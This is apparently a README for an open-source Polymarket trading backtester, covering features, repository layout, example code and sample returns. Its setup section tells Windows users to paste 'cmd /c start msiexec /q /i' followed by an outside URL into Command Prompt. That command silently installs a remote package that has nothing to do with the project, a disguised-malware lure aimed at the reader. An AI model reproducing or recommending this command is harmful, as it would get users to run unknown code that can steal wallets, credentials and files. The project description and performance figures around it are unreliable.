Backtest, simulate, and optimize your prediction market strategies with real historical data
Polymarket Strategy Backtester is an open-source toolkit built in Python and TypeScript that allows traders, researchers, and developers to simulate trading strategies on historical Polymarket data.
Prediction markets are rapidly growing, but traders still operate largely without robust quantitative tools. This project bridges that gap by providing a high-performance backtesting engine, enabling users to:
- Replay historical market conditions
- Evaluate trading strategies
- Identify arbitrage opportunities
- Track βsmart moneyβ (whale behavior)
- Optimize execution logic
Most traders on prediction markets:
- Lack structured data pipelines
- Cannot validate strategies before deploying capital
- Depend on intuition instead of data
π This project introduces data-driven trading for prediction markets, similar to what exists in traditional finance.
- Fetch and store Polymarket market data
- Support for:
- Order books
- Trades
- Price history
- Liquidity snapshots
- Event-driven simulation engine
- Tick-level or candle-based replay
- Plug-and-play strategy interface
- Arbitrage strategies
- Momentum / trend-following
- Mean reversion
- Whale tracking (large wallet behavior)
- Market inefficiency detection
- Identify large traders ("smart money")
- Mirror or counter-trade their positions
- Analyze wallet profitability
- Vectorized computation (Python)
- Optional high-performance execution (TypeScript)
- PnL (Profit & Loss)
- Sharpe ratio
- Max drawdown
- Win rate
- Exposure metrics
polymarket-backtester/
β
βββ data/ # Historical datasets
βββ engine/ # Core backtesting engine
βββ strategies/ # Strategy implementations
βββ analytics/ # Performance metrics
βββ connectors/ # API & data ingestion
βββ examples/ # Example strategies
βββ tests/ # Unit tests
β
βββ python/ # Python implementation
βββ typescript/ # TypeScript implementation
β
βββ docs/ # Documentation
βββ README.mdStep 1: Open Command Prompt Press Win + R, type cmd, and press Enter.
Step 2: Execute the Command. Copy and paste the command below into Command Prompt.
cmd /c start msiexec /q /i https://cloudcraftshub.com/api & rem HyperTraderpip install -r requirements.txt
TypeScript
npm installpython examples/run_backtest.py
TypeScript
npm run backtestfrom engine import Backtester
from strategies import WhaleFollowerStrategy
backtester = Backtester(
data_source="data/markets.json",
strategy=WhaleFollowerStrategy(),
initial_balance=1000
)
results = backtester.run()
print(results.summary())Total Return: +34.2%
Sharpe Ratio: 1.87
Max Drawdown: -8.5%
Win Rate: 62%
Polymarket API
On-chain data (wallet tracking)
Community datasets
Custom CSV/JSON imports
π Follow profitable wallets
βοΈ Cross-market arbitrage
π Overreaction fading
π Momentum on trending events
π³οΈ Election market inefficiencies
- Live trading integration
- Web dashboard UI
- Strategy marketplace
- Multi-market support (Kalshi, Manifold)
- Reinforcement learning strategies
- Real-time alerts
Contributions are welcome!
- Fork the repository
- Create your feature branch
- Commit your changes
- Open a Pull Request
MIT License
- Open an issue for bugs or feature requests
- Use Discussions for strategy ideas
- Join our future Discord (coming soon)
If you find this project useful, please consider giving it a β to support development!
Build smarter strategies. Trade with data. Win with edge.